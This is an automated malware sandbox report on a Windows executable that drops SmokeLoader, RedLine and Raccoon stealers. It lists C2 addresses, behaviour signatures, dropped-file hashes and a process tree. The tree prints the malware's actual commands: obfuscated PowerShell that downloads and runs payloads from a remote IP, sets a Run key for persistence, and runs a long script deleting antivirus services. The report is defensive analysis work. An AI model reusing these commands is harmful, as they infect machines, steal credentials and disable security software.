Analysis

  • max time kernel
    150s
  • max time network
    139s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    12-08-2021 06:42

General

  • Target

    c2dca8c1ee828b456168f4e3d1b693e1.exe

  • Size

    207KB

  • MD5

    c2dca8c1ee828b456168f4e3d1b693e1

  • SHA1

    e85b5350026fe01f4ada9eceae8c8e0c3a6ea29d

  • SHA256

    1d6c4c1009a17e69ab04390ea26068125ce2a572a0d133e3145b225184de7ac0

  • SHA512

    533f98309d2773a5065c62d8d6d756df85bb79c1f1b01ccf6cab789b36a700dab82fbc6b85fe80746d2f2d24e999eaf567f4751f7799492a86ac1aa0f06a0f10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

@gasfer_dark

C2

207.154.240.76:80

Extracted

Family

raccoon

Botnet

cd8dc1031358b1aec55cc6bc447df1018b068607

Attributes
  • url4cnc

    https://telete.in/jagressor_kz

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes
  • url4cnc

    https://telete.in/p1rosto100xx

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 3 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c2dca8c1ee828b456168f4e3d1b693e1.exe
    "C:\Users\Admin\AppData\Local\Temp\c2dca8c1ee828b456168f4e3d1b693e1.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3056
    • C:\Users\Admin\AppData\Local\Temp\c2dca8c1ee828b456168f4e3d1b693e1.exe
      "C:\Users\Admin\AppData\Local\Temp\c2dca8c1ee828b456168f4e3d1b693e1.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2060
  • C:\Users\Admin\AppData\Local\Temp\765E.exe
    C:\Users\Admin\AppData\Local\Temp\765E.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3484
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:3796
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2548
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3120
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
          4⤵
            PID:4688
    • C:\Users\Admin\AppData\Local\Temp\77E6.exe
      C:\Users\Admin\AppData\Local\Temp\77E6.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      PID:3196
      • C:\Users\Admin\AppData\Local\Temp\77E6.exe
        C:\Users\Admin\AppData\Local\Temp\77E6.exe
        2⤵
          PID:4764
        • C:\Users\Admin\AppData\Local\Temp\77E6.exe
          C:\Users\Admin\AppData\Local\Temp\77E6.exe
          2⤵
          • Executes dropped EXE
          PID:4772
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 24
            3⤵
            • Program crash
            PID:4844
      • C:\Users\Admin\AppData\Local\Temp\7AC5.exe
        C:\Users\Admin\AppData\Local\Temp\7AC5.exe
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:3728
      • C:\Users\Admin\AppData\Local\Temp\7E41.exe
        C:\Users\Admin\AppData\Local\Temp\7E41.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4052
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:2212
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:3676
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:2252
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
                PID:3532
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:204
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:3916
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:516
                    • C:\Windows\explorer.exe
                      C:\Windows\explorer.exe
                      1⤵
                        PID:1292
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:212

                        Network

                        MITRE ATT&CK Matrix ATT&CK v6

                        Persistence

                        Modify Existing Service

                        1
                        T1031

                        Registry Run Keys / Startup Folder

                        1
                        T1060

                        Defense Evasion

                        Modify Registry

                        2
                        T1112

                        Disabling Security Tools

                        1
                        T1089

                        Credential Access

                        Credentials in Files

                        3
                        T1081

                        Discovery

                        Query Registry

                        2
                        T1012

                        System Information Discovery

                        2
                        T1082

                        Peripheral Device Discovery

                        1
                        T1120

                        Collection

                        Data from Local System

                        3
                        T1005

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\ProgramData\Runtimebroker.exe
                          MD5

                          518c48c949a23e850527624b8755718b

                          SHA1

                          eed6cb4150568733695c6b5dbe64e89fe77f82f2

                          SHA256

                          95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                          SHA512

                          9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                        • C:\ProgramData\Runtimebroker.exe
                          MD5

                          518c48c949a23e850527624b8755718b

                          SHA1

                          eed6cb4150568733695c6b5dbe64e89fe77f82f2

                          SHA256

                          95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                          SHA512

                          9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                          MD5

                          6bf0e5945fb9da68e1b03bdaed5f6f8d

                          SHA1

                          eed3802c8e4abe3b327c100c99c53d3bbcf8a33d

                          SHA256

                          dda58fd16fee83a65c05936b1a070187f2c360024650ecaf857c5e060a6a55f1

                          SHA512

                          977a393fdad2b162aa42194ddad6ec8bcab24f81980ff01b1c22c4d59ac268bb5ce947105c968de1a8a66b35023280a1e7709dfea5053385f87141389ebecb25

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          MD5

                          8ef2c1867bdfd99c8a2e3d7432db53e4

                          SHA1

                          d718f93af3c4737e088bd1c13c5ef09d481637f8

                          SHA256

                          800bfa9d7c95756dbc786a67a9c9dfe67c76c2894a968883692e615d56cbbc6b

                          SHA512

                          83ae2c3e46c916e394ad26d6ae276cd5cb779e9f12dc959fa36235243658e7bf380d86a835390821b9ee0be54cf307586500520ddbb7a7834d0e0a1ed6b7a190

                        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                          MD5

                          26442f9c86fa06c8de570383d44b586e

                          SHA1

                          c8f9a7ae1f4e2af0855674e5c142ccd9825fe878

                          SHA256

                          3a0783cf52689a1be227b9d844c3939ba53375316c5784dadf3d044dc9936ebb

                          SHA512

                          f6a451a734276af25cf16f48b4f399809fa8ac8933cbe0d00c06914268a6a6fd4caed69ab64cf465918b7ec09027a5d42765e4b5f9c46ae3a281ed95c36c9757

                        • C:\Users\Admin\AppData\Local\Temp\765E.exe
                          MD5

                          518c48c949a23e850527624b8755718b

                          SHA1

                          eed6cb4150568733695c6b5dbe64e89fe77f82f2

                          SHA256

                          95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                          SHA512

                          9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                        • C:\Users\Admin\AppData\Local\Temp\765E.exe
                          MD5

                          518c48c949a23e850527624b8755718b

                          SHA1

                          eed6cb4150568733695c6b5dbe64e89fe77f82f2

                          SHA256

                          95d748224096a6f0d3be1f669f75531e786981683fb24f5e371bee578e4d1a74

                          SHA512

                          9b99cd7e90be0014c3c4e70fada1461fe6e717d45881f55c6082f0fb16d0cc2db9fc01cfec7031741057cacb82fa64f20b15e67639b9092a5f04f95acd9e3be9

                        • C:\Users\Admin\AppData\Local\Temp\77E6.exe
                          MD5

                          5707ddada5b7ea6bef434cd294fa12e1

                          SHA1

                          45bb285a597b30e100ed4b15d96a29d718697e5e

                          SHA256

                          85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                          SHA512

                          91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                        • C:\Users\Admin\AppData\Local\Temp\77E6.exe
                          MD5

                          5707ddada5b7ea6bef434cd294fa12e1

                          SHA1

                          45bb285a597b30e100ed4b15d96a29d718697e5e

                          SHA256

                          85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

                          SHA512

                          91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

                        • C:\Users\Admin\AppData\Local\Temp\77E6.exe
                          MD5

                          5707ddada5b7ea6bef434cd294fa12e1

                          SHA1

                          45bb285a597b30e100ed4b15d96a29d718697e5e

                          SHA256

